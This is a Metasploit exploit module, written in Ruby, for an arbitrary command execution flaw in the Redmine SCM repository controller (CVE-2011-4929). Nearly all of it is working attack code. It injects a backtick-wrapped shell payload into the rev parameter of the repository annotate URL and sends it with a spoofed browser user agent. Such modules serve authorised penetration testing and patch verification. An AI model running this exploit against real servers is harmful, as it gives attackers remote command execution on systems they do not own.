Redmine SCM Repository – Arbitrary Command Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Redmine SCM Repository Arbitrary Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the Redmine repository controller. The flaw is triggered when a rev parameter is passed to the command line of the SCM tool without adequate filtering. }, 'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2011-4929'], ['OSVDB', '70090'], ['URL', 'http://www.redmine.org/news/49' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', #'RequiredCmd' => 'generic telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Dec 19 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]), ], self.class) end def exploit command = Rex::Text.uri_encode(payload.encoded) urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`" res = send_request_raw({ 'uri' => urlconfigdir, 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 25) if (res) print_status("The server returned: #{res.code} #{res.message}") else print_status("No response from the server") end handler end end |